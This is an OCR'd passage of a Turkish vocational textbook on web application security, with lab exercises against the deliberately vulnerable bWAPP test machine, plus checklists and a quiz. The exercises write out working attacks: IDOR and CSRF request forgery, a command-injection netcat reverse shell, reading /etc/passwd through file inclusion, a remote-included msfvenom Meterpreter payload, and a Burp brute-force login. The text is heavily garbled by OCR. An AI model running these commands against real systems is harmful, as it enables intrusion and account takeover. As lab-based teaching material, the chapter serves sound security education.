12. Eksik oldugu o6lgitleri tamamladi.

UYGULAMA

> Test ortaminda Insecure DOR (Change Secret) uygulamasini verilen adimlar
dogrultusunda gergeklestiriniz.

4

1
: 2. Adim: Internet tarayicisinda adres olarak sanal makinenin IP numarasini giriniz.

1
1
1
1
1
1 1
1 3. Adim: Acilan sayfada bWAPP linkine tiklayiniz. ,
1 1
: 4. Adim: Kullanici adi bee ve sifre olarak bug girip, Login butonuna tiklayarak web uygulamasina giris :
1 yapiniz. 1
: :

1

1

1

: 5. Adim: Liste kutusundan Insecure DOR (Change Secret) secip Hack butonuna tiklayiniz.
1

: 6. Adim: internet tarayicisinda yeni bir sekmede phpMyadmin sayfasini (Gérsel 4.56) aginiz (Sayfa
| adresi <bee-box-sanal-makine-ipsi>/phpmyadmin seklindedir, Kullanici adi root ve Parola ise
bug’'dir.). !

[} s phpMyAdmin 2.11.3deblu x + ~ = O ™
| « C Q. 192.168.56.101/phpmyadmin Q o =
php

phpMyAdmin 2.11.3deb1ubuntu1 surimiine
Hog Geldiniz

rDil - Language @

| Tiirkge - Turkish (utf-8) v |
| rOturum Ag
| Kullanici Adr: |ruut |

| Parola: | |

(]

Gorsel 4.56: PhpMyAdmin sayfasi
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T id login password email secret activation_code activated reset code admin
] & X 1 AIM 6885858486f31043e6838c7356d99457f045affd0  bwapp-aim@mailinatorcom A LM. or Authentication Is Missing  MULL 1 NULL 1
0O # ¥ 2 bee 6885858486131043e5839c735d99457f045affd0  bwapp-bee@mailinator.com  Any bugs? NULL 1 NULL 1

Gorsel 4.57: Users tablosu verileri

/ lheecure DOR (C,hanc_sje Sec:.r'eJr) /

Change your secret.
New secret:

Gizli bilgi

| Change]

Gorsel 4.58: Secret degeri degistirme

— [ id login password email secret
O SX 1 ALM. 6885B858486f31043e5839c735d9944T1045affd0  bwapp-aim@mailinator.com AL M. or Authentication |s Missing
0 & X 2 bee 6885858486f3104325839c7356d99457f045affd0  bwapp-bee@mailinatorcom  Gizli bilgi

Gorsel 4.59: Users tablosu verileri

! 10 Adim: Burp Suite Community Edition programini ¢alistiriniz. 1
! 11 Adim: Firefox tarayicisinda FoxyProxy eklentisini aktif hale getiriniz (Gorsel 4.60). !

4
l ':;’y FoxyProxy

TLII’I‘I Oﬁ [Use Flrefnx Settlngs

Gorsel 4.60: FoxyProxy eklentisi

: 12. Adim: Burp Suite Community Edition programinda Proxy tabi altindaki Intercept is on secenegini |
! aktlf hale getiriniz (Gorsel 4.61). )

Burp Project Intruder Repeater View Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer

Intercept HTTP history WebSockets history {§} Proxy settings

Forward Drop Intercept is on Action Open browser
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Gorsel 4.61: Burp Suite Community Edition Proxy tabi

/ Ihsecure DOR (C,hanqe Secret) /

Change your secret.
New secret:
[ Yeni Gizli Bilgi |

| Change]

Gorsel 4.62: Secret degeri degistirme

I14 Adim: Burp Suite Community Edition programinda yakalanan istegi (Gorsel 4.63) |nceley|n|zI
| (Yakalanan istek icinde secret = Yeni+Gizli+Bilgi & login = bee & action=change degeri yer alir. Secret , "
! degerl ile kullanici adi bilgisi de gider. Bu da IDOR zafiyetinin olabilecegini gosterir.). !

ﬁ Request to http://192.168.56.101:80

Forward Drop Action Open browser

Pretty Raw Hex

1 POST /bWAPP/insecure_direct_object_ref L.php HTTP/L.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winfd:; x€4; rv:109.0) Gecko/2010010L Firefox/LlL17.0
Accept: text/html,application/xzhtml+xml, application/xml;q=0.9, imags/avif, image/webp, */ *;q=0.8
Aeccept-Language: tr-TR,tr;qgq=0.8,en-U3:;qg=0.5,en:;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x—www-form-urlencoded

Content-Length: 47

Origin: http://192.168.56. 101

10 Connection: close

11 Referer: http://192.168.56.10L/bWAPP/insecure_direct_object_ref L.php

12 Cookie: security level=0; PHPSESSID=7859daf5e48851lc4aclc9ffhE55428413

13 Upgrade-Insecure-Recquests: 1

W

(S N T Y

15 secret=Yeni+Gizli+Bilgi&login=beesgaction=changs

Gorsel 4.63: Yakalanan istek

' 15. Adim: Bu kullanici bilgisini baska bir kullanici adi ile degistirip (Gorsel 4.64) Forward butonuna :
It'lklaylmz 1

secret=Yeni+Gizli+Eilgidlogin=4.1.HM. faction=changs=

Gorsel 4.64: Kullanici adi bilgisini degistirme

' 16. Adim: Programda Proxy tabi altindaki Intercept is off secenegini pasif hale getiriniz.

! 17 Adim: phpMyAdmin sayfasinda secret degerinin degistigini gézlemleyiniz (Gorsel 4.65).

— ] —+ id login password email secret
20X 1 AILM. BBB5858486f3104325839c735d99457045affd0  bwapp-aim@mailinatorcom  Yeni Gizli Bilgi
# X 2 bee 6885858486f3104325839c735d99457f045affd0  bwapp-bee@mailinatorcom  Gizli bilgi

Gorsel 4.65: Users tablosu verileri
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Bee-Box test ortaminda Insecure DOR (Order Tickets) uygulamasinda 6denek tutari 0 EUR olacak
sekilde degistiriniz.

DEGERLENDIRME

Calismaniz asagida yer alan kontrol listesi kullanilarak degerlendirilecektir. Calismalarinizi yaparken
degerlendirme olgutlerini dikkate aliniz. Calismanizi bir ders saati icinde tamamlayiniz.

KONTROL LISTESI
DEGERLENDIRME OLGUTLERI EVET HAYIR

Bee-Box sanal makinesini ¢alistirdi.

internet tarayicisinda bWAPP sayfasini giris yapti.

Insecure DOR (Order Tickets) uygulamasini ¢calistirdi.

Metin kutusuna deger girerek sistemin ¢alismasi test etti.

FoxyProxy eklentisini aktif hale getirdi.

Burp Suite Community Edition programini ¢alistirdi.

N|o|vu|r]|R|N|IE

Burp Suite Community Edition programinda Proxy tabi altindaki
Intercept is on segenegini aktif hale getirdi.

8. bWAPP sayfasinda bir deger girerek Burp Suite Community Edition
programinda istegi yakaladi
(ticket quantity=1&ticket price=15&action=0rder).

9. Ticket price degerini 0 olarak degistirdi.

10. Forward butonuna basarak istegi iletti.

11. bWAPP sayfasinda 6denecek tutarin 0 EUR oldugunu gozlemledi.

12. Calismayi verilen slirede tamamladi.

13. Eksik oldugu 6lcttleri tamamladi.

UYGULAMA

> Test ortaminda OS Command Injection uygulamasini verilen adimlar dogrultusunda
gerceklestiriniz.

! 1 Adim: Sanal makine uygulamasinda sanal makinenizi calistiriniz.

| 2. Adim: internet tarayicisinda adres olarak sanal makinenin IP numarasini giriniz.
: 3. Adim: Agilan sayfada bWAPP linkine tiklayiniz.

1

! 4. Adim: Kullanici adi bee ve sifre olarak bug girip, Login butonuna tiklayarak web uygulamasina giris
! yapiniz.

! '5. Adim: Liste kutusundan OS Command Injection secip Hack butonuna tiklayiniz.
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/ 0S Commanrd Injec’rion /

DNS lookup |wvw¢.meb.guv.tr || LUUkUp]

Server: 192.168.1.1 Address: 192.168.1_1#53 Non-authoritative answer: Name: www.meb.gov.tr Address:
212.174.189.120

Gorsel 4.66: OS Command Injection sayfasi

' 7. Adim: DNS lookup degeri olarak www.meb.gov.tr|whoami (Gérsel 4.67) giriniz (Whoami komutu |
: glktlSl sayfada gozlemlendigi icin OS Command Injection zafiyet vardir.). :

/ 0S Command Injection /

DNS lookup: |vwmr.meb.g0v.tr]whoami || Lookup]

www-data

Gorsel 4.67: OS Command Injection sayfasi

' 8 Adim: Sanal makine uygulamasindan Kali sanal makinesini ¢alistiriniz.

9 Adim: Kali sanal makinesinde bir terminal uygulamasi ac¢ip nc -lvp 1337 komutuyla 1337 portunu
I ' dinleyiniz (Gorsel 4.68).

1

115t-n1nc on [any] 1337

Gorsel 4.68: Port dinleme

' 10. Adim: DNS lookup degeri olarak www.meb.gov.tr;nc -nv <kali-ip-adresi> -e /bin/bash giriniz. ;
| | 11. Adim: Kali terminalde netcat baglanti talebi olustugunu gozlemleyiniz (Gorsel 4.69). :
|
1

! 12 Adim: Linux komutlari ile uzak bilgisayar kontrollinii gerceklestiriniz.

: 1337
listening on [any] 1337 i
192.168.1.182: inverse host lookup failed: Unknown host
connect to [192.168.1.104] from (UNKNOWN) [192.168.1.182] 39933

whoami
ww—data

uname
Linux

Gorsel 4.69: netcat baglantisi




1
14, Adim:

| yapiniz.
1

: 5. Adim:

| 6. Adim:

| 7. Adim:

| 8. Adim:

4. OGRENME BiRiMi

UYGULAMA

> Bee-Box test ortaminda CSRF (Change Password) uygulamasini verilen
adimlar dogrultusunda gergeklestiriniz.

: Sanal makine uygulamasinda sanal makinenizi calistiriniz.
: internet tarayicisinda internet adresi olarak sanal makinenin IP numarasini giriniz.

: Acilan sayfada bWAPP linkine tiklayiniz.

Kullanici adi bee ve sifre olarak bug girip, Login butonuna tiklayarak web uygulamasina giris

Liste kutusundan CSRF (Change Password) secip Hack butonuna tiklayiniz.
Burp Suite Community Edition programini galistiriniz.
Tarayicida FoxyProxy eklentisini aktif hale getiriniz.

Burp Suite Community Edition programinda Proxy tabi altindaki Intercept is on secenegini

! aktif hale getiriniz.

'9 Adim:

bWAPP CSRF (Change Password) sayfasinda yeni bir parola girip onaylayiniz (Gorsel 4.70).

/ CSRF (Chanﬁe Password) /

Change your password.

MNew password:

Re-type new password:

| Change |

Gorsel 4.70: CSRF (Change Password) sayfasi

b e e e o o e e e e e e e e e e e e o e e e e = e =

I10 Adim: Burp Suite Community Edition programinda yakalanan istegi (Gorsel 4.71) mceleylnlzI
. (Yakalanan istegin cerezinde herhangi bir token bulunmamaktadir. Bu da CSRF zafiyetinin oIablleceglm \

| gosterir. ).

1 GET fbHAPPfcsrf_l.php?passvord_neu=test&passuord_conf=test&action=change HTTP/ 1.1
2 Host: 18Z2.1g8.1.10Z
2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; xe4; rwv:109.0) Gecko/201l00101 Firefox/L117.0
4 Aocept: text/html,application/xhtml+xml, application/xml;q=0.9, image/avit, image/webp, */ *;q=0.8
5 Accept-Language: tr-TE,tr;q=0.8,en-U3;q=0.5,en;q=0.3
& Accept-Encoding: gzip, deflate, br
Connection: close
2 Referer: http:f!lQZ.168.1.lD:beAPPHcsrf_l.php
S Cookie: PHPSESSID=S507abbf7943d7580604e2742d7c814c5; security level=0
10 Upgrade-Insecure-Requests: L

Raw Hex

Gorsel 4.71: Burp Suite Community Edition ile yakalanan istek
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! 11 Adim: Forward butonuna tiklayiniz. !

! 12 Adim: Bir metin editori ile kampanya.html adinda bir dosya olusturup su kodu yaziniz: !

<html>
<body>
<h1>Biiyiik kampanya. Bedava cep telefonu icin onaylayin. </h1>
<form id="form1” action="http://<bee-box-ip-adresi>/bWAPP/csrf_1.php” method="get”>
<input type="hidden” name="password_new” value="gizli"”>
<input type="hidden” name="password_conf” value="gizli”>
<input type="hidden” name="action” value="change”>
<input type="submit” value="Génder”>
</form>
</body>
</html>

Biiyiik kampanya. Bedava cep telefonu icin onaylayin.

| Gonder |
Gorsel 4.72: Kampanya.html sayfasi

! 14 Adim: bWAPP sayfasinda kullanici ¢ikisi yapip tekrar kullanici girisi yapmaya galisiniz. 1

! 15 Adim: Parolanin degisip gizli oldugunu gozlemleyiniz. !

Bee-Box test ortaminda CSRF (Change Secret) uygulamasinda secret degerini degistiriniz.

DEGERLENDIRME

Calismaniz asagida yer alan kontrol listesi kullanilarak degerlendirilecektir. Calismalarinizi yaparken
degerlendirme olgitlerini dikkate aliniz. Calismanizi bir ders saati icinde tamamlayiniz.

KONTROL LISTESI
DEGERLENDIRME OLCUTLERI EVET HAYIR
Bee-Box sanal makinesini ¢alistirdi.

internet tarayicisinda bWAPP sayfasini giris yapti.

CSRF (Change Secret) uygulamasini ¢calistirdi.

FoxyProxy eklentisini aktif hale getirdi.

Burp Suite Community Edition programini galistirdi.

SN A E R e

Burp Suite Community Edition programinda Proxy tabi altindaki
Intercept is on secenegini aktif hale getirdi.

7. bWAPP sayfasinda bir deger girerek Burp Suite Community Edition
programinda istegi yakaladi.
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8. CSRF zafiyetini tespit etti.

9. Forward butonuna basarak istegi iletti.

10. CSRF zafiyeti icin html sayfasi olusturdu.

11. Html sayfasini galistirip secret degerinin degistigini gozlemledi.

12. Calismayi verilen slirede tamamladi.

13. Eksik oldugu élcttleri tamamladi.

UYGULAMA

> Test ortaminda Remote & Local File Inclusion (RFI/LFI) uygulamasini verilen adimlar
dogrultusunda gergeklestiriniz.

1. Adim: Sanal makine uygulamasinda sanal makinenizi ¢calistiriniz.

2. Adim: internet tarayicisinda adres olarak sanal makinenin IP numarasini giriniz.

3. Adim: Agilan sayfada bWAPP linkine tiklayiniz.

4. Adim: Kullanici adi bee ve sifre olarak bug girip, Login butonuna tiklayarak giris yapiniz.

5. Adim: Liste kutusundan Remote & Local File Inclusion (RFI/LFI) secip Hack butonuna tiklayiniz.
| 6. Adim: Aclilir liste kutusundan English secip Go butonuna basiniz (Gorsel 4.74).

/ Remote & Locad Fie Ihclusion (RFEI/LF) /

Select a language: |English v |\§|

Thanks for your interest in bWAPP!

Gorsel 4.74: Remote & Local File Inclusion (RFI/LFI) sayfasi

O & 192.168.1.102/bWAPP/rlfi.php?language=Ilang_en.php&action=go

Gorsel 4.75: Remote & Local File Inclusion (RFI/LFI) sayfasi adres cubugu
8 Adim: Adres cubugundaki lang_en.php yazisini /etc/passwd olarak (Gorsel 4.76) degistiriniz
(Adres cubugunda dosya ismini degistirerek sistemdeki baska bir dosyaya ulasildigi gérulir. Bu da File
| Inclusion zafiyetinin oldugunu gosterir.).

| & (&) O & 192.168.1.102/bWAPP/rlfi.php?language=/etc/passwdBaction=go B % 0 é] = |
/ Remote & Local Fie Inclusion (RFI/LF) /
Select a language [Enghsh VHE‘ Ii

root:x:0:0:root:/root:/bin/bash  daemon:x:1:1:daemon:/usr/sbin:/bin/sh  binix:2:2:bin:/bin:/bin/sh  sysix:3:3:sys:dev:
Ibin/sh  syncix:4:65534:sync:/bin:/bin/sync  games:x:5:60:.games-/usr/games:/bin/sh man6:12:man:/var/cache
Iman:fbin/sh Ip:x:7:T:p:fvar/spool/lpd:fbin/sh mail=x:8:8:mail:ivar/mail:bin/sh news:x:9:9:news:/var/spoolinews:/bin/sh
| uucp:x:10:10:uucp:var/spool/uucp:/bin/sh proxy-x:13:13:proxy:/bin:/bin/sh www-data:x33:33: www-data-/ivar
[ Mewwelbin/sh  backup:x:34:34-backup:ivar/backups:/bin/sh  listx:38:38:Mailing  List  Managervar/list:/bin/sh ‘

Gorsel 4.76: Passwd dosya icerigi
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' 9 Adim: Sanal makine uygulamasindan Kali sanal makinesini ¢alistiriniz.

:reverse _tcp LHOST=<Kali-ip-adresi> LPORT=<Port-numarasi> -f raw > dosya-adi komutuyla bir

1
1
1
l10. Adim: Kali sanal makinesinde bir terminal uygulamasi acip msfvenom -p php/meterpreter_!
1
1
| meterpreter dosyasi olusturunuz (Gorsel 4.77). !

kali® kali)-[~
-4 msfveno php/meterpreter_reverse_tcp LHOS5T=192.168.1.119 LPORT=1337 -f raw > lang_en.php
[-] No platform was selected, choosing Msf ::Mcdule::Platform:: PHP from the paylead
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 34852 bytes

Gorsel 4.77: Meterpreter olusturma komutu
' 11. Adim: Kali sanal makinesinde yeni bir terminal uygulamasi acip python2 -m SlmpIeHTTPServer'
! 80 komutuyla http sunucusu galistiriniz (Gorsel 4.78). 1

kali® kali)-[~
-$ pyvthaon2 SimpleHTTPServer 80

Serving HTTP on ©.8.0.@ port 8@

Gorsel 4.78: http sunucusu baslatma komutu

' 12. Adim: Adres cubugundaki adresi /bWAPP/rlfi.php?language=http://<kali-ip-adresi>/lang_!
| Len. php&action=go (Gorsel 4.79) olacak sekilde degistirip ENTER tusuna basiniz (Dosya uzantisi php :
' oldugu icin dosya calistirilamaz. ). !

@ »¥ bWAPP - Missing Functional Lew X + v = O B

[£n
Il

= &) O 8 192.168.1.102/bWAPP/rlfi php?language=http://192.168.1.1 T (v

/ Remote & Local Fie Inclusion (RFI/

Select a language: |English v ||§\

Gorsel 4.79: ilk saldiri deneme sonucu

: 13. Adim: Kali sanal makinesinde yeni bir terminal uygulamasi a¢ip mv lang_en.php lang_en.txt
1 komutuyla dosya uzantisini txt yapiniz (Gorsel 4.80). 1

kali® kali)-[~
—% mv lang_en.php lang_en.txt

Gorsel 4.80: Dosya adi degistirme komutu
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' 14. Adim: Kali sanal makinesi terminal uygulamasinda msfconsole komutuyla metasploit konsolunu '
| ' calistiriniz (Gorsel 4.81). -

—(kali® kali)-[~]

—$% msfconsole

=

L EEg o
e

—=[ 2315 exploits - 12088 auxiliary - 412 post
—=[ 975 payloads - 46 encoders - 11 nops

s

e b e el

—=[ 9 evasion
Metasploit tip: View advanced module options with

Metasploit Documentation: https://docs.metasploit.com/

msfe > ]

Gorsel 4.81: Metasploit konsolu
'15 Adim: Metasploit konsolunda search php/meterpreter_reverse_tcp komutu ile ilgili modulu'
' aratiniz (Gorsel 4.82). 1

msf6 > search php/meterpreter_reverse_tcp

Matching Modules

# Name Disclosure Date Rank Check Description

0 payloac/ NSRS

Interact with a module by name or index.

For example info @

normal No

@ or

PHPF Meterpreter,

Reverse TCP Inline

Gorsel 4.82: Metasploit konsolu modil arama
' 16. Adim: Metasploit konsolunda use 0 komutu ile payload/php/meterpreter_reverse_tcp modilini :
| 1 seciniz (Gorsel 4.83). 1

> use @
payload(php/meterpreter_reverse_tcp) >

Gorsel 4.83: Metasploit konsolu modiil segme

msf6 payload(php/meterpreter_reverse_tcp) > show options

Module options (payload/php/meterpreter_reverse_tcp):

Name Current Setting Reguired Description
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

View the full module info with the info, or info -d command.

Gorsel 4.84: Metasploit konsolu modiil segenekleri
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: 18. Adim: Metasploit konsolunda set LHOST <kali-ip-adresi> ve set LPORT <port-numarasi> komutlari '
! ile local host ve port seceneklerini giriniz (Gorsel 4.85). -

msf6 payload(php/meterpreter_reverse_tcp) > set LHOST 192.168.1.119
LHOST = 192.168.1.119

msf6 payload(php/meterpreter_reverse_tcp) > set LPORT 1337
LPORT = 1337

Gorsel 4.85: Metasploit konsolu local host ve port ayarlari

msfé payload(php/meterpreter_reverse_tcp) > set LHOST 192.168.1.119
LHOST = 192.168.1.119

msf6 payload(php/meterpreter_reverse_tcp) > set LPORT 1337
LPORT = 1337

msf6 payload(php/meterpreter_reverse_tcp) > exploit -j

[*#] Payload Handler Started as Job @

msf6 payload(php/meterpreter_reverse_tcp) >

[#] Started reverse TCP handler on 192.168.1.119:1337

Gorsel 4.86: Metasploit konsolu exploit ¢alistirma

[#] Payload Handler Started as Job @

msf6 payload(php/meterpreter_reverse_tcp) >

[*] Started reverse TCP handler on 192.168.1.119:1337

[#] Meterpreter session 1 opened (192.168.1.119:1337 — 192.168.1.102:58408) at 2023-89-16 87:21:42 -0400

Gorsel 4.87: Metasploit konsolu ters TCP baglantisi

msf6 payload(php/meterpreter_reverse_tcp) > sessions
Active sessions

Id Name Type Information Connection

1 meterpreter php/linux ww-data @ bee-box 192.168.1.119:1337 — 192.168.1.102:58408 (192.168.1.102)

Gorsel 4.88: Metasploit konsolu aktif oturumlar

msf6 payload(php/meterpreter_reverse_tcp) > sessions -i 1
[#] Starting interaction with 1...

meterpreter > |

Gorsel 4.89: Metasploit konsolu oturum se¢me

'24 Adim: Metasploit konsolunda uuid ve pwd komutlari ile sizma isleminin basarili bir §ek|Ide'
| gergekle§t|g|n| gozlemleyiniz (Gorsel 4.90). 1

meterpreter > uuid

[+] UUID: 32f58e4c81237bcc/php=15/1inux=6/2023-09-16T11:21:417
meterpreter > pwd

/var/ wan /DWAPP

Gorsel 4.90: Metasploit konsolu sizma testi

247
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UYGULAMA

gerceklestiriniz.

' 1. Adim: Sanal makine uygulamasinda sanal makinenizi calistiriniz.

: 2. Adim: internet tarayicisinda adres olarak sanal makinenin IP numarasini giriniz.

: 3. Adim: Acilan sayfada bWAPP linkine tiklayiniz.

1
14. Adim: Kullanici adi bee ve sifre olarak bug girip, Login butonuna tiklayarak giris yapiniz.
1

: 5. Adim: Liste kutusundan Broken Auth. - Weak Passwords secip Hack butonuna tiklayiniz.

: 6. Adim: Burp Suite Community Edition programini galistiriniz.

1
1 7. Adim: Firefox tarayicisinda FoxyProxy eklentisini aktif hale getiriniz.
1

8. Adim: Burp Suite Community Edition programinda Proxy tabi altindaki Intercept is on secenegini

: aktif hale getiriniz.

! 9 Adim: Kullanici adi ve parola olarak deneme girip Login butonuna basiniz (Gorsel 4.91).

/ Broken Auth - Weok Passwords /

Enter your credentials

Login:

Password:

| Login |

Invalid credentials!

Gorsel 4.91: Broken Auth. - Weak Passwords sayfasi

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder

Intercept HTTP histary WebSockets history {C:)} Proxy settings
ﬁ Request to http://192.168.1.102:80

Forward Drop Action Cpen browser

Pretty Raw Hex

1 POST /bWAPP/ba_weak pwd.php HTTP/L.1
Z Host: 1592.1e8.1.102

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:109.0) Gecko/Z0l0010Ll Firefox/1L1l7.0
1 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image,/avift, image/webp, */ *:q=0.8

5 Acecept-Lancguage: tr-TER,tr;q=0.8,en-US;q=0.5,en;q=0.3

o Accept-Encoding: gzip, deflate, br

7 Content-Type: application/x-www—form-urlencodsd

2 Content-Length: 40

S Origin: http://192.1eB8.1.102

10 Connection: close

11 Referer: http://192.168.1.102/bWAFP/ba weak pwd.php

12 Cookie: security level=0; PHPSESSID=f58bf36576f8e51lde53fdecESsacaits
13 Upgrade-Insecure-Fequests: 1

15 leogin=deneme&password=densms &form=submit.|

Gorsel 4.92: Burp Suite Community Edition programinda yakalanan istek

Comparer

> Test ortaminda Brute Force atagl uygulamasini verilen adimlar dogrultusunda
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Gx

! 11 Adim: Burp Suite Community Edition programinda Action butonuna basip gelen Send to Intruder Y
1 segenegini seciniz (Gorsel 4.93). 1

Scan

Send to Intruder

Send to Repeater Ctri+R
Send to Decoder

Send to Organizer Ctri+ 0
Insert Collaborator payload

Request in browser »

Gorsel 4.93: Burp Suite Community Edition programi Send to Intruder komutu

I12 Adim: Burp Suite Community Edition programinda Intruder penceresinde Attack type oIarakI
Cluster bomb secip, Payload positions kisminda Clear butonuna basarak tiim payload p02|syonlar|n| \
' tem|zley|n|z

'13 Adim: Payload positions kisminda login=deneme&password=deneme&form=submit yazan !
1 sa‘urda deneme yazilarini segip, Add butonuna tiklayiniz (Gorsel 4.94). 1

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2023.10.1.1 - Temporary Project - (] x
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger @ Settings
Crganizer Extensions Learn

1 o 2 3=+ 0

Positions Payloads Resource pool Settings
@ Choose an attack type Start attack

Attack type: | Cluster bomb v

@ Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Add §
Target: | http://192.168.1.102 Update Host header to match target
Clear &

1 POST /LWAPP/ba weak pwd.php HTTR/L.1

Host: 182.168.1.102 Auto §
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4; rv:109.0) Gecko/Z0l00101 Firefox/117.0

Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */ *:q=0.8 Refresh
Accept-Language: tr-TER,tr;q=0.8,en-U3;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate, br

Content—Type: application/x-www-form-urlencoded

2 Content-Length: 40

Origin: http://182.168.1.102

10 Connection: close

11 Referer: http://l892.1€8.1.102/bWAPE/ba_wealk pwd.php

12 Cookie: security level=0; PHPSESSID=7dY9alécE08b438L4534c0fS8abcaahSLs

13 Upgrade—Tnsecure:Requests: 1

(&)

S T T

15 login=%denemesSipassvord=5SdenemeSiform=submit

@ @ & ||| |search b 2 highlights Clear

2 payload positions Length: 655

Gorsel 4.94: Payload pozisyonlari ekleme
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Burp Project Intruder Repeater View Help Burp Suite Community Edition v2023.1 - Temporary Project - a X
Dashboard Target Proxy Intruder Repeater Collaborater Sequencer Decoder Comparer Logger {é} Settings
QOrganizer Extensions Learn

| 1 = 2 = 3=+ jo
Positions Payloads Resource pool Settings

@ rayorases =

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Paositions tab. Various payload types |
| are available for each payload set, and each payload type can be customized in different ways.

Payload set: 1 w~ Payload count: 5

Payload type:  Simple list v Request count: 20

@ Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste admin
root
Load ...
bee
Remove yonetici 'S
Clear test
| Deduplicate
|
Add |

add from list ... [Pro version only]

Gorsel 4.95: Kullanici adlari ekleme

1 16 Adim: Payloads tabini secip, Payload set olarak parolayi ifade eden 2’yi seginiz.

! 17 Adim: Payload settings [Simple list] bolimiinde denenecek parolalari ekleyiniz (Gorsel 4.96).

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2023.10.1.1 - Temporary Project - a *
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger @ Settings
QOrganizer Extensions Learn |

| |
1% 2 % 3 x4+ 0
Positions Payloads Resource pool Settings

@ rayosases =

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types |
are available for each payload set, and each payload type can be customized in different ways.

Payload set: | 2 ~ Payload count: 4

Payload type: Simple list ~ Request count: 16

@ Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste admin
1234
Load ..
test
Remove root »>
Clear
| Deduplicate
|
Add \

&dd from list ... [Pro version only]

Gorsel 4.96: Parolalar ekleme
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' 18. Adim: Setting tabini secip, Grep - Match degeri olarak hatali kullanici veya parolasi sayfasindaki :

- hata mesaji olan Invalid credentials! kelimelerini giriniz (Gorsel 4.97). !
Burp Project Intruder Repeater View Help Burp Suite Community Edition v2023.10.1.1 - Temporary Project - a * 1
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Settings
Organizer Extensions Learn
1= 25+ £
Positions Payloads Resource pool Settings

-~
O These settings control what information is captured in attack results.
Store requests
Store responses
Make unmadified baseline request
Use denial-of-service mode (no results)

store full payloads

@ Grep - Match
O These settings can be used to flag result items containing specified expressions.

Flag result items with responses matching these expressions:

Paste Invalid credentials!

Load ..

Remove >
Clear
Add | Invalid credentials!

Match type: @ Simple string

Regex

Gorsel 4.97: Grep-Match degeri girme

________________________________________________________ .
' 19 Adim: Start attack butonuna basarak Brute force atagini baslatiniz. :
1 20. Adim: Invalid credentials! degeri olmayan ve kullanici adi ile parolasi test olan istegin basarili |
! oIdugunu gozlemleyiniz (Gorsel 4.98). _:
[ Attack Save Columns 2. Intruder attack of http:;//192.168.1.102 - Temporary attack - Mot saved to project file - a X
Results Positions Payloads Resource pool Settings

5 Filter: Showing all items

Request Payload 1 Payload 2 Status code  Error Timeout Length Invalid credentials!
12 root test 200 13827 1
13 bee test 200 13828 1
14 yonetici test 200 13828 1
15 test test 200 13826
16 admin root 200 13827 1
17 root root 200 13827 1
Request Response
Pretty Raw Hex Render > Wn =

Enter your credentials.
Login:

Password:

| |

Successful login!

I R ——————————

Gorsel 4.98: Brute force atagi




o 4. OGRENME BiRiMi

| "OLCME VE DEGERLENDIRME % -

A) Asagidaki climlelerde parantezlerin igine yargilar dogru ise “D”, yanhs ise “Y” yaziniz.

1. (...) Kullanicilar, gtivenli internet aliskanliklari konusunda egitilmelidir.

2. (...) Zayif sifre kullanimi, glivenlik zafiyetlerine neden olur.

3. (...) Web uygulama giivenligi icin uygulama faaliyetlerinin izlenmesine gerek yoktur.
4. (...) Bug Bounty yarismalari yasal degildir.

5. (...) Web uygulamalarina izinsiz zafiyet testi yapmak yasaldir.

B) Asagidaki ciimlelerde bos birakilan yerlere dogru sézciikleri yaziniz.

1. Kullanici girisleri, form verileri ve istemci tarafindan génderilen diger verilerin dogrulanmasi igin
..................................... VE wocteivireeneeseeese s Mekanizmalart kullaniimahidir.

2 e , dizenli olarak glivenlik testlerine tabi tutulmahdir. Bunlar; penetrasyon
testleri, kod analizleri ve diger glivenlik incelemelerini iceren testlerdir.

3. Web uygulamalarindaki veri tabani sorgularini manipiile ederek zararli sorgularin enjekte edilmesine
yol acan giivenlik agigina .......cccceeeevenne. denir.

4. Erisim kontrollnin eksik oldugu durumlarda saldirganlarin veri veya nesnelere yetkisiz sekilde erise-
bilmelerine yol agan glivenlik agIgINa .......cccccvvevvenene denir.

5. Web uygulamalari; ......ccceuvene. ) eeereeneeeaereaea VE ciiiieeieeieieenens web teknolojilerini kullanarak kul-
lanici araylizl sunar ve sunucu tarafli bilesenlerle etkilesime girer.

C) Asagidaki sorularin dogru cevabini isaretleyiniz.

1. Asagidakilerden hangisi OWASP Top 10 icinde | 2. Yazihm kodlarinin diizenli sekilde incelene-
yer alir? rek giivenlik agiklarinin test edilmesine verilen

ad asagidakilerden hangisidir?

A) Cross-Site Scripting (XSS)

o . A) Oturum Yonetimi ve Kimlik Yonetimi
B) Artificial Intelligence (Al) )
B) Glivenli lletisim
C tum C t C

) Quantum Computing (QC) C) Guvenlik Gincellemeleri ve Yama Yonetimi

D) Blockchain Technology (BT) D) En Az ihtimalle istismar

E) Virtual Reality (VR) E) Zararli Kod incelemesi
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3. Asagidakilerden hangisi web uygulama test or-

tamlarindan biri degildir?

A) bWAAP B) DVWA
C) VulnHub D) XAMPP
E) WebGoat

. Asagidakilerden hangisi zararli veri tabani sor-
gulari kullanilarak yapilan saldiri ¢esididir?

A) Brute Force Attack B) CSRF

C) IDOR D) SQL Injection
E) XSS
. Asagidakilerden hangisi kullanicinin yetkisi ol-

madigi nesnelere ulagmasini saglayan saldiri
cesididir?

A) Brute Force Attack B) CSRF

C) IDOR D) SQL Injection

E) XSS

